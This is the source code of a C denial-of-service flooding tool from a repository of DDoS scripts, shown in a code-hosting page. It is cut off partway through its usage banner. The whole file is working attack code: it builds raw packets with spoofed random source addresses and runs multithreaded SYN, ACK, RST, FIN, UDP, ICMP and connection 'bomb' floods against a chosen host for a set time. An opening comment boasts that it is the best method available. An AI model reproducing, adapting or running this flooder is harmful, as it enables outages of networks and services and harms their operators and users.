Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/kaido-syn.c
4565 views
1
//this is godly lol best method out.
2
#ifndef _BSD_SOURCE
3
#define _BSD_SOURCE
4
#endif
5
#include <stdio.h>
6
#include <stdlib.h>
7
#include <unistd.h>
8
#include <netdb.h>
9
#include <sys/types.h>
10
#include <netinet/in_systm.h>
11
#include <sys/socket.h>
12
#include <string.h>
13
#include <time.h>
14
#include <signal.h>
15
#ifndef __USE_BSD
16
#define __USE_BSD
17
#endif
18
#ifndef __FAVOR_BSD
19
#define __FAVOR_BSD
20
#endif
21
#include <netinet/in.h>
22
#include <netinet/ip.h>
23
#include <netinet/ip6.h>
24
#include <netinet/ip_icmp.h>
25
#include <netinet/icmp6.h>
26
#include <netinet/tcp.h>
27
#include <netinet/udp.h>
28
#include <netinet/ip_icmp.h>
29
#include <arpa/inet.h>
30
#include <pthread.h>
31
static void usage(const char *argv0);
32
#define INET_ADDR 16
33
#define INET6_ADDR 46
34
#define TCP_FIN 1
35
#define TCP_SYN 2
36
#define TCP_RST 4
37
#define TCP_PSH 8
38
#define TCP_ACK 16
39
#define TCP_URG 32
40
#define TCP_BMB 64
41
#define UDP_BMB 64
42
#define UDP_CFF 128
43
#define ICMP_ECHO_G 256
44
#define ICMP_HDRLEN 8
45
#ifdef LINUX
46
#define FIX(x) htons(x)
47
#else
48
#define FIX(x) (x)
49
#endif
50
/* START THREADS */
51
#define MAX_THREADS 32768
52
pthread_t attack_thread[MAX_THREADS];
53
struct thread_data {
54
int initialized; // valid thread?
55
int flag4, flag6; // v4 or v6
56
int start;
57
int packets;
58
unsigned int timeout; // attack timeout
59
int thread;
60
unsigned int bombsize; // size of connect bomb
61
int socket; // rawsock
62
int a_flags; // a_flags
63
struct sockaddr_in destination4;
64
struct sockaddr_in6 destination6;
65
u_long dstaddr;
66
u_char th_flags;
67
int d_lport;
68
int d_hport;
69
int s_lport;
70
int s_hport;
71
char *src_class;
72
char *dst_class;
73
char SrcIP4[INET_ADDR];
74
char SrcIP6[INET6_ADDR];
75
char DestIP4[INET_ADDR];
76
char DestIP6[INET6_ADDR];
77
78
};
79
struct thread_data thread_data_array[MAX_THREADS];
80
/* END THREADS */
81
82
void handle_exit () {
83
int i;
84
int packets;
85
packets = thread_data_array[1].packets
86
+ thread_data_array[2].packets
87
+ thread_data_array[4].packets
88
+ thread_data_array[8].packets
89
+ thread_data_array[16].packets
90
+ thread_data_array[32].packets
91
+ thread_data_array[64].packets
92
+ thread_data_array[128].packets
93
+ thread_data_array[256].packets;
94
printf ("Packeting completed, %d total, %d seconds, %d pps\n", packets, time (NULL) - thread_data_array[0].start, packets / (time (NULL) - thread_data_array[0].start));
95
exit (0);
96
}
97
void *send_bomb(void* arg);
98
void *send_bomb_udp(void* arg);
99
100
struct pseudo_hdr
101
{
102
u_long saddr, daddr; /* source and dest address */
103
u_char mbz, ptcl; /* zero and protocol */
104
u_short tcpl; /* tcp length */
105
};
106
struct checksum
107
{
108
struct pseudo_hdr pseudo;
109
struct tcphdr tcp;
110
};
111
112
u_long
113
lookup(const char *host)
114
{
115
struct hostent *hp;
116
if ( (hp = gethostbyname(host)) == NULL)
117
{
118
perror("gethostbyname");
119
exit(-1);
120
}
121
return *(u_long *)hp->h_addr;
122
}
123
124
unsigned short
125
in_cksum(unsigned short *addr, int len)
126
{
127
int nleft = len;
128
int sum = 0;
129
unsigned short *w = addr;
130
unsigned short answer = 0;
131
while (nleft > 1)
132
{
133
sum += *w++;
134
nleft -= 2;
135
}
136
if (nleft == 1)
137
{
138
*(unsigned char *) (&answer) = *(unsigned char *)w;
139
sum += answer;
140
}
141
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
142
sum += (sum >> 16); /* add carry */
143
answer = ~sum; /* truncate to 16 bits */
144
return answer;
145
}
146
char *src_class, *dst_class = NULL;
147
148
char *
149
class2ip(const char *class)
150
{
151
static char ip[INET_ADDR];
152
int i, j;
153
for (i = 0, j = 0; class[i] != '\0'; ++i)
154
if (class[i] == '.')
155
++j;
156
switch (j) {
157
case 0:
158
sprintf(ip, "%s.%d.%d.%d", class, (int) random() % 255+1, (int) random() % 255+1, (int) random() % 255+1);
159
break;
160
case 1:
161
sprintf(ip, "%s.%d.%d", class, (int) random() % 255+1, (int) random() % 255+1);
162
break;
163
case 2:
164
sprintf(ip, "%s.%d", class, (int) random() % 255+1);
165
break;
166
/* Spoofing single host */
167
default: strncpy(ip, class, INET_ADDR);
168
break;
169
}
170
return ip;
171
}
172
173
char *class2ip6(const char *class)
174
{
175
static char ip[INET6_ADDR];
176
uint16_t n;
177
int x, y;
178
for (x = 0, y = 0; class[x] != '\0'; ++x)
179
if (class[x] == ':')
180
++y;
181
int i;
182
for (i = 0; i < 7; i++)
183
{
184
char hex[3][i];
185
n = mrand48(); // #1
186
n = rand(); // #2
187
FILE * f = fopen("/dev/urandom", "rb");
188
fread(&n, sizeof(uint16_t), 1, f); // #3
189
sprintf(hex[i], "%04X", n);
190
if(i==0)
191
strcpy(ip, class);
192
strcat(ip, hex[i]);
193
if(i<6)
194
strcat(ip, ":");
195
}
196
return ip;
197
}
198
static void
199
inject(struct ip *ip, u_char p, u_char len) {
200
/* Filling IP header */
201
ip->ip_hl = 5;
202
ip->ip_v = 4;
203
ip->ip_p = p;
204
ip->ip_tos = 0x08; /* 0x08 */
205
ip->ip_id = random();
206
ip->ip_len = len;
207
ip->ip_off = 0;
208
ip->ip_ttl = 128; //was 255
209
ip->ip_dst.s_addr = thread_data_array[0].dst_class != NULL ?
210
inet_addr(class2ip(thread_data_array[0].dst_class)) :
211
thread_data_array[0].dstaddr;
212
ip->ip_src.s_addr = thread_data_array[0].src_class != NULL ?
213
inet_addr(class2ip(thread_data_array[0].src_class)) :
214
random();
215
thread_data_array[0].destination4.sin_addr.s_addr = ip->ip_dst.s_addr;
216
}
217
static void
218
inject6(struct ip6_hdr *ip, u_char p, u_char len) {
219
ip->ip6_ctlun.ip6_un1.ip6_un1_flow = htonl ((6 << 28) | (0 << 20) | 0);
220
ip->ip6_ctlun.ip6_un1.ip6_un1_plen = htons( 8 + len );
221
ip->ip6_ctlun.ip6_un1.ip6_un1_nxt = p;
222
ip->ip6_ctlun.ip6_un1.ip6_un1_hlim = 255;
223
inet_pton (AF_INET6, thread_data_array[0].DestIP6, &ip->ip6_dst);
224
inet_pton (AF_INET6, thread_data_array[0].src_class, &ip->ip6_src);
225
thread_data_array[0].destination6.sin6_addr = ip->ip6_dst;
226
}
227
228
void *send_tcp(void* arg)
229
{
230
struct thread_data *param2 = arg;
231
struct checksum checksum;
232
struct packet
233
{
234
struct ip ip;
235
struct tcphdr tcp;
236
} packet;
237
struct packet6
238
{
239
struct ip6_hdr ip;
240
struct tcphdr tcp;
241
} packet6;
242
printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
243
signal(SIGALRM, handle_exit);
244
alarm(thread_data_array[0].timeout);
245
if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
246
{
247
do
248
{
249
/* Filling IP header */
250
memset(&packet, 0, sizeof packet);
251
inject(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
252
packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
253
/* Filling cksum pseudo header */
254
checksum.pseudo.daddr = thread_data_array[0].dstaddr;
255
checksum.pseudo.mbz = 0;
256
checksum.pseudo.ptcl = IPPROTO_TCP;
257
checksum.pseudo.tcpl = sizeof(struct tcphdr);
258
checksum.pseudo.saddr = packet.ip.ip_src.s_addr;
259
/* Filling TCP header */
260
packet.tcp.th_win = htons(65535);
261
packet.tcp.th_seq = random();
262
//packet.tcp.th_x2 = 4;
263
if (param2->th_flags == TCP_ACK)
264
packet.tcp.th_ack = 1;
265
else
266
packet.tcp.th_ack = 0;
267
packet.tcp.th_flags = param2->th_flags;
268
packet.tcp.th_off = 5;
269
if (param2->th_flags == TCP_URG)
270
packet.tcp.th_urp = 1;
271
else
272
packet.tcp.th_urp = 0;
273
packet.tcp.th_sport = thread_data_array[0].s_lport == 0 ?
274
random () :
275
htons(thread_data_array[0].s_lport + (random() %
276
(thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
277
packet.tcp.th_dport = thread_data_array[0].d_lport == 0 ?
278
random () :
279
htons(thread_data_array[0].d_lport + (random() %
280
(thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
281
checksum.tcp = packet.tcp;
282
packet.tcp.th_sum = in_cksum((void *)&checksum, sizeof(checksum));
283
param2->packets++;
284
} while ( sendto(param2->socket, &packet, (sizeof packet),
285
0, (struct sockaddr *)&thread_data_array[0].destination4,
286
sizeof(thread_data_array[0].destination4)) );
287
}
288
if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
289
{
290
do
291
{
292
/* Filling IP header */
293
memset(&packet6, 0, sizeof packet6);
294
inject6(&packet6.ip, IPPROTO_TCP, FIX(sizeof packet6));
295
/* Filling cksum pseudo header */
296
checksum.pseudo.daddr = thread_data_array[0].dstaddr;
297
checksum.pseudo.mbz = 0;
298
checksum.pseudo.ptcl = IPPROTO_TCP;
299
checksum.pseudo.tcpl = sizeof(struct tcphdr);
300
/* Filling TCP header */
301
packet6.tcp.th_win = htons(65535);
302
packet6.tcp.th_seq = random();
303
//packet6.tcp.th_x2 = 4;
304
if (param2->th_flags == TCP_ACK)
305
packet6.tcp.th_ack = 1;
306
else
307
packet6.tcp.th_ack = 0;
308
packet6.tcp.th_flags = param2->th_flags;
309
packet6.tcp.th_off = 5;
310
if (param2->th_flags == TCP_URG)
311
packet6.tcp.th_urp = 1;
312
else
313
packet6.tcp.th_urp = 0;
314
packet6.tcp.th_sport = thread_data_array[0].s_lport == 0 ?
315
random () :
316
htons(thread_data_array[0].s_lport + (random() %
317
(thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
318
packet6.tcp.th_dport = thread_data_array[0].d_lport == 0 ?
319
random () :
320
htons(thread_data_array[0].d_lport + (random() %
321
(thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
322
checksum.tcp = packet.tcp;
323
packet6.tcp.th_sum = in_cksum((void *)&checksum, sizeof(checksum));
324
param2->packets++;
325
} while ( sendto(param2->socket, &packet6.tcp, (sizeof packet6),
326
0, (struct sockaddr *)&thread_data_array[0].destination6,
327
sizeof(thread_data_array[0].destination6)) );
328
}
329
}
330
331
void *send_udp(void* arg) {
332
struct thread_data *param2 = arg;
333
struct packet
334
{
335
struct ip ip;
336
struct udphdr udp;
337
} packet;
338
struct packet6
339
{
340
struct ip6_hdr ip;
341
struct udphdr udp;
342
} packet6;
343
printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
344
signal(SIGALRM, handle_exit);
345
alarm(thread_data_array[0].timeout);
346
if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
347
{
348
do
349
{
350
/* Filling IP header */
351
memset(&packet, 0, sizeof packet);
352
inject(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
353
packet.ip.ip_sum = in_cksum((void *)&packet.ip, sizeof(packet));
354
/* Filling UDP header */
355
packet.udp.uh_sport = thread_data_array[0].s_lport == 0 ?
356
random () :
357
htons(thread_data_array[0].s_lport + (random() %
358
(thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
359
packet.udp.uh_dport = thread_data_array[0].d_lport == 0 ?
360
random () :
361
htons(thread_data_array[0].d_lport + (random() %
362
(thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
363
packet.udp.uh_ulen = htons(sizeof packet.udp);
364
packet.udp.uh_sum = 0;
365
param2->packets++;
366
} while ( sendto(param2->socket, &packet, (sizeof packet),
367
0, (struct sockaddr *)&thread_data_array[0].destination4,
368
sizeof(thread_data_array[0].destination4)) );
369
}
370
else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
371
{
372
do
373
{
374
/* Filling IP header */
375
memset(&packet6, 0, sizeof packet6);
376
inject6(&packet6.ip, IPPROTO_UDP, FIX(sizeof packet6));
377
/* Filling UDP header */
378
packet6.udp.uh_sport = thread_data_array[0].s_lport == 0 ?
379
random () :
380
htons(thread_data_array[0].s_lport + (random() %
381
(thread_data_array[0].s_hport - thread_data_array[0].s_lport + 1)));
382
packet6.udp.uh_dport = thread_data_array[0].d_lport == 0 ?
383
random () :
384
htons(thread_data_array[0].d_lport + (random() %
385
(thread_data_array[0].d_hport - thread_data_array[0].d_lport + 1)));
386
packet6.udp.uh_ulen = htons(sizeof packet6.udp);
387
packet6.udp.uh_sum = 0;
388
packet6.udp.uh_sum = in_cksum((void *)&packet6, sizeof(packet6));
389
param2->packets++;
390
} while ( sendto(param2->socket, &packet6, (sizeof packet6),
391
0, (struct sockaddr *)&thread_data_array[0].destination6,
392
sizeof(thread_data_array[0].destination6)) );
393
}
394
}
395
396
void *send_icmp(void* arg) {
397
struct thread_data *param2 = arg;
398
struct packet
399
{
400
struct ip ip;
401
struct icmp icmp;
402
} packet;
403
struct packet6
404
{
405
struct ip6_hdr ip;
406
struct icmp6_hdr icmp;
407
} packet6;
408
printf("[%d] Acquired socket %d\n", param2->thread, param2->socket);
409
signal(SIGALRM, handle_exit);
410
alarm(thread_data_array[0].timeout);
411
if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
412
{
413
do
414
{
415
/* Filling IP header */
416
memset(&packet, 0, sizeof packet);
417
inject(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
418
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
419
/* Filling ICMP header */
420
packet.icmp.icmp_type = ICMP_ECHO;
421
packet.icmp.icmp_code = 0;
422
packet.icmp.icmp_cksum = htons( ~(ICMP_ECHO << 8));
423
param2->packets++;
424
} while ( sendto(param2->socket, &packet, (sizeof packet),
425
0, (struct sockaddr *)&thread_data_array[0].destination4,
426
sizeof(thread_data_array[0].destination4)) );
427
}
428
else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
429
{
430
do
431
{
432
/* Filling IP header */
433
memset(&packet6, 0, sizeof packet6);
434
inject6(&packet6.ip, IPPROTO_ICMPV6, FIX(sizeof packet6));
435
/* Filling ICMP header */
436
packet6.icmp.icmp6_type = ICMP6_ECHO_REQUEST;
437
packet6.icmp.icmp6_code = 0;
438
packet6.icmp.icmp6_id = random();
439
packet6.icmp.icmp6_seq = random();
440
packet6.icmp.icmp6_cksum = 0;
441
packet6.icmp.icmp6_cksum = in_cksum((void *)&packet6, sizeof(packet6));
442
param2->packets++;
443
} while ( sendto(param2->socket, &packet6.icmp, (sizeof packet6),
444
0, (struct sockaddr *)&thread_data_array[0].destination6,
445
sizeof(thread_data_array[0].destination6)) );
446
}
447
}
448
void *send_bomb(void* arg) {
449
struct thread_data *param2 = arg;
450
if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
451
}
452
if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
453
param2->socket = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
454
else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
455
param2->socket = socket(AF_INET6, SOCK_RAW, IPPROTO_TCP);
456
int i;
457
uint16_t n;
458
static char bmbstring[16];
459
for (i = 0; i < 4; i++) {
460
char hex[3][i];
461
n = mrand48();
462
n = rand();
463
FILE * f = fopen("/dev/urandom", "rb");
464
fread(&n, sizeof(uint16_t), 1, f);
465
sprintf(hex[i], "%04X", n);
466
strcat(bmbstring, hex[i]);
467
}
468
if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
469
connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination4, sizeof(struct sockaddr_in));
470
else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
471
connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination6, sizeof(struct sockaddr_in6));
472
printf("[%d] Acquired socket %d - using string (%s)\n", param2->thread, param2->socket, bmbstring);
473
signal(SIGALRM, handle_exit);
474
alarm(thread_data_array[0].timeout);
475
do {
476
param2->packets++;
477
} while ( send(param2->socket, bmbstring, param2->bombsize, 0) );
478
return 0;
479
}
480
void *send_bomb_udp(void* arg) {
481
struct thread_data *param2 = arg;
482
if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1) {
483
}
484
if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
485
param2->socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
486
else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
487
param2->socket = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
488
int i;
489
uint16_t n;
490
static char bmbstring[16];
491
for (i = 0; i < 4; i++) {
492
char hex[3][i];
493
n = mrand48();
494
n = rand();
495
FILE * f = fopen("/dev/urandom", "rb");
496
fread(&n, sizeof(uint16_t), 1, f);
497
sprintf(hex[i], "%04X", n);
498
strcat(bmbstring, hex[i]);
499
}
500
if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
501
connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination4, sizeof(struct sockaddr_in));
502
else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
503
connect(param2->socket, (struct sockaddr *)&thread_data_array[0].destination6, sizeof(struct sockaddr_in6));
504
printf("[%d] Acquired socket %d - using string (%s)\n", param2->thread, param2->socket, bmbstring);
505
signal(SIGALRM, handle_exit);
506
alarm(thread_data_array[0].timeout);
507
do {
508
param2->packets++;
509
} while (send(param2->socket, bmbstring, param2->bombsize, 0));
510
return 0;
511
}
512
int main(int argc, char *argv[]) {
513
int i = 0, n, s;
514
int on = 1;
515
char DestIP4[INET_ADDR];
516
char DestIP6[INET6_ADDR];
517
struct sockaddr_in DestAddress4;
518
struct sockaddr_in6 DestAddress6;
519
while ( (n = getopt(argc, argv, "46T:C:R:IUh:d:s:t:p:q:")) != -1) {
520
char *p;
521
switch (n) {
522
case '4':
523
thread_data_array[0].flag4 = 1;
524
break;
525
case '6':
526
thread_data_array[0].flag6 = 1;
527
break;
528
case 'T':
529
switch (atoi(optarg))
530
{
531
case 0:
532
thread_data_array[TCP_FIN].initialized = 1;
533
thread_data_array[0].a_flags |= TCP_FIN;
534
thread_data_array[TCP_FIN].a_flags |= TCP_FIN;
535
break;
536
case 1:
537
thread_data_array[TCP_SYN].initialized = 1;
538
thread_data_array[0].a_flags |= TCP_SYN;
539
thread_data_array[TCP_SYN].a_flags |= TCP_SYN;
540
break;
541
case 2:
542
thread_data_array[TCP_RST].initialized = 1;
543
thread_data_array[0].a_flags |= TCP_RST;
544
thread_data_array[TCP_RST].a_flags |= TCP_RST;
545
break;
546
case 3:
547
thread_data_array[TCP_PSH].initialized = 1;
548
thread_data_array[0].a_flags |= TCP_PSH;
549
thread_data_array[TCP_PSH].a_flags |= TCP_PSH;
550
break;
551
case 4:
552
thread_data_array[TCP_ACK].initialized = 1;
553
thread_data_array[0].a_flags |= TCP_ACK;
554
thread_data_array[TCP_ACK].a_flags |= TCP_ACK;
555
break;
556
case 5:
557
thread_data_array[TCP_URG].initialized = 1;
558
559
thread_data_array[0].a_flags |= TCP_URG;
560
thread_data_array[TCP_URG].a_flags |= TCP_URG;
561
break;
562
}
563
break;
564
case 'C':
565
thread_data_array[TCP_BMB].initialized = 1;
566
thread_data_array[0].a_flags |= TCP_BMB;
567
thread_data_array[TCP_BMB].a_flags |= TCP_BMB;
568
thread_data_array[TCP_BMB].bombsize = atoi(optarg);
569
break;
570
case 'R':
571
thread_data_array[UDP_BMB].initialized = 1;
572
thread_data_array[0].a_flags |= UDP_BMB;
573
thread_data_array[UDP_BMB].a_flags |= UDP_BMB;
574
thread_data_array[UDP_BMB].bombsize = atoi(optarg);
575
break;
576
case 'I':
577
thread_data_array[ICMP_ECHO_G].initialized = 1;
578
thread_data_array[0].a_flags |= ICMP_ECHO_G;
579
thread_data_array[ICMP_ECHO_G].a_flags |= ICMP_ECHO_G;
580
break;
581
case 'U':
582
thread_data_array[UDP_CFF].initialized = 1;
583
thread_data_array[0].a_flags |= UDP_CFF;
584
thread_data_array[UDP_CFF].a_flags |= UDP_CFF;
585
break;
586
case 'h':
587
if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0)
588
{
589
DestAddress4.sin_family = AF_INET;
590
inet_pton(AF_INET, optarg, &DestAddress4.sin_addr);
591
thread_data_array[0].dstaddr = lookup(optarg);
592
thread_data_array[0].destination4 = DestAddress4;
593
}
594
else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
595
{
596
DestAddress6.sin6_family = AF_INET6;
597
inet_pton(AF_INET6, optarg, &DestAddress6.sin6_addr);
598
thread_data_array[0].destination6 = DestAddress6;
599
}
600
else
601
{
602
printf("-4 and -6 can not both be specified.\n\n");
603
usage(argv[0]);
604
}
605
break;
606
case 'd':
607
thread_data_array[0].dst_class = optarg;
608
break;
609
case 's':
610
thread_data_array[0].src_class = optarg;
611
break;
612
case 'p':
613
if ( (p = (char *) strchr(optarg, ',')) == NULL)
614
usage(argv[0]);
615
thread_data_array[0].d_lport = atoi(optarg); /* Destination start port */
616
thread_data_array[0].d_hport = atoi(p + 1); /* Destination end port */
617
break;
618
case 'q':
619
if ( (p = (char *) strchr(optarg, ',')) == NULL)
620
usage(argv[0]);
621
thread_data_array[0].s_lport = atoi(optarg); /* Destination start port */
622
thread_data_array[0].s_hport = atoi(p + 1); /* Destination end port */
623
break;
624
case 't':
625
thread_data_array[0].timeout = atoi(optarg);
626
break;
627
default:
628
usage(argv[0]);
629
break;
630
}
631
}
632
if (!thread_data_array[0].timeout) {
633
usage(argv[0]);
634
}
635
if (!thread_data_array[0].src_class) {
636
if(thread_data_array[0].flag6 == 1) {
637
printf("\n\e[1;37merror: -s must be specified with -6\n\n");
638
usage(argv[0]);
639
}
640
}
641
if ( (!thread_data_array[0].flag4 && !thread_data_array[0].flag6) ||
642
(!thread_data_array[0].a_flags) ||
643
(!thread_data_array[0].timeout)
644
) {
645
usage(argv[0]);
646
}
647
if (thread_data_array[0].flag4 == 1 && thread_data_array[0].flag6 == 0) {
648
int i;
649
for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
650
if ( thread_data_array[i].initialized == 1 )
651
{
652
if ( (thread_data_array[i].socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
653
{
654
perror("socket");
655
exit(-1);
656
}
657
658
if (setsockopt(thread_data_array[i].socket, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
659
{
660
perror("setsockopt");
661
exit(-1);
662
}
663
}
664
}
665
printf("[IPv4] Packeting (%s) from (%s) with flags (%i) for (%i) seconds.\n\n",thread_data_array[0].dst_class != NULL ? thread_data_array[0].dst_class : inet_ntop(AF_INET, &thread_data_array[0].destination4.sin_addr, thread_data_array[0].DestIP4, sizeof(thread_data_array[0].DestIP4)),thread_data_array[0].src_class,thread_data_array[0].a_flags, thread_data_array[0].timeout);
666
}
667
else if (thread_data_array[0].flag4 == 0 && thread_data_array[0].flag6 == 1)
668
{
669
int i;
670
for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
671
if ( thread_data_array[i].initialized== 1 )
672
{
673
if (thread_data_array[i].a_flags <= TCP_BMB )
674
{
675
if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_TCP)) < 0)
676
{
677
perror("socket");
678
exit(-1);
679
}
680
}
681
else if (thread_data_array[i].a_flags == UDP_BMB) {
682
if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP)) < 0)
683
{
684
perror("socket");
685
exit(-1);
686
}
687
}
688
else if (thread_data_array[i].a_flags == UDP_CFF)
689
{
690
if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_UDP)) < 0)
691
{
692
perror("socket");
693
exit(-1);
694
}
695
}
696
else if (thread_data_array[i].a_flags == ICMP_ECHO_G)
697
{
698
if ( (thread_data_array[i].socket = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6)) < 0)
699
{
700
perror("socket");
701
exit(-1);
702
}
703
}
704
if (setsockopt(thread_data_array[i].socket, IPPROTO_IPV6, IPV6_TCLASS, (char *)&on, sizeof(on)) < 0) {
705
perror("setsockopt");
706
exit(-1);
707
}
708
}
709
}
710
printf("[IPv6] Packeting (%s) from (%s) with flags (%i) for (%i) seconds.\n\n",thread_data_array[0].dst_class != NULL ? thread_data_array[0].dst_class : inet_ntop(AF_INET6, &thread_data_array[0].destination6.sin6_addr, thread_data_array[0].DestIP6, sizeof(thread_data_array[0].DestIP6)),thread_data_array[0].src_class,thread_data_array[0].a_flags,thread_data_array[0].timeout);
711
}
712
signal (SIGINT, handle_exit);
713
signal (SIGTERM, handle_exit);
714
signal (SIGQUIT, handle_exit);
715
thread_data_array[0].start = time(NULL);
716
for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2) {
717
if (thread_data_array[i].a_flags == TCP_FIN)
718
{
719
thread_data_array[i].thread = i;
720
thread_data_array[i].packets = 0;
721
thread_data_array[i].th_flags = TH_FIN;
722
if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
723
{
724
printf("+ Thread error:\n");
725
perror("- pthread_create()\n");
726
}
727
}
728
if (thread_data_array[i].a_flags == TCP_SYN)
729
{
730
thread_data_array[i].thread = i;
731
thread_data_array[i].packets = 0;
732
thread_data_array[i].th_flags = TH_SYN;
733
if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
734
{
735
printf("+ Thread error:\n");
736
perror("- pthread_create()\n");
737
}
738
}
739
if (thread_data_array[i].a_flags == TCP_RST)
740
{
741
thread_data_array[i].thread = i;
742
thread_data_array[i].packets = 0;
743
thread_data_array[i].th_flags = TH_RST;
744
if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
745
{
746
printf("+ Thread error:\n");
747
perror("- pthread_create()\n");
748
}
749
}
750
if (thread_data_array[i].a_flags == TCP_PSH)
751
{
752
thread_data_array[i].thread = i;
753
thread_data_array[i].packets = 0;
754
thread_data_array[i].th_flags = TH_PUSH;
755
if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
756
{
757
printf("+ Thread error:\n");
758
perror("- pthread_create()\n");
759
}
760
}
761
if (thread_data_array[i].a_flags == TCP_ACK)
762
{
763
thread_data_array[i].thread = i;
764
thread_data_array[i].packets = 0;
765
thread_data_array[i].th_flags = TH_ACK;
766
if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
767
{
768
printf("+ Thread error:\n");
769
perror("- pthread_create()\n");
770
}
771
}
772
if (thread_data_array[i].a_flags == TCP_URG)
773
{
774
thread_data_array[i].thread = i;
775
thread_data_array[i].packets = 0;
776
thread_data_array[i].th_flags = TH_URG;
777
if(pthread_create(&attack_thread[i], NULL, &send_tcp, (void *)&thread_data_array[i]) != 0)
778
{
779
printf("+ Thread error:\n");
780
perror("- pthread_create()\n");
781
}
782
}
783
if (thread_data_array[i].a_flags == TCP_BMB)
784
{
785
thread_data_array[i].thread = i;
786
thread_data_array[i].packets = 0;
787
if(pthread_create(&attack_thread[i], NULL, &send_bomb, (void *)&thread_data_array[i]) != 0)
788
{
789
printf("+ Thread error:\n");
790
perror("- pthread_create()\n");
791
}
792
}
793
if (thread_data_array[i].a_flags == UDP_BMB)
794
{
795
thread_data_array[i].thread = i;
796
thread_data_array[i].packets = 0;
797
if(pthread_create(&attack_thread[i], NULL, &send_bomb_udp, (void *)&thread_data_array[i]) != 0)
798
{
799
printf("+ Thread error:\n");
800
perror("- pthread_create()\n");
801
}
802
}
803
if (thread_data_array[i].a_flags == UDP_CFF)
804
{
805
thread_data_array[i].thread = i;
806
thread_data_array[i].packets = 0;
807
if(pthread_create(&attack_thread[i], NULL, &send_udp, (void *)&thread_data_array[i]) != 0)
808
{
809
printf("+ Thread error:\n");
810
perror("- pthread_create()\n");
811
}
812
}
813
if (thread_data_array[i].a_flags == ICMP_ECHO_G) {
814
thread_data_array[i].thread = i;
815
thread_data_array[i].packets = 0;
816
if(pthread_create(&attack_thread[i], NULL, &send_icmp, (void *)&thread_data_array[i]) != 0)
817
{
818
printf("+ Thread error:\n");
819
perror("- pthread_create()\n");
820
}
821
}
822
}
823
for (i = TCP_FIN; i <= ICMP_ECHO_G; i*=2)
824
pthread_join(attack_thread[i], NULL);
825
exit(0);
826
}
827
const char *banner_name = "\e[1;37m(\e[0m\e[0;31mcerberus\e[0m\e[1;37m)\e[0m-\e[1;37mby\e[0m-\e[1;37m(\e[0m\e[0;31mbloodbath\e[0m\e[1;37m)\e[0m";
828
static void
829
usage(const char *argv0)
830
{
831
printf("%s \n", banner_name);
832
printf(" -4 IPv4\n");
833
printf(" -6 IPv6\n");
834
printf(" -U UDP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
835
printf(" -I ICMP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
836
printf(" -C TCP bomb \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
837
printf(" -T TCP attack \e[1;37m[\e[0m0:FIN, 1:SYN, 2:RST, 3:PUSH, 4:ACK, 5:URG\e[1;37m]\e[0m\n");
838
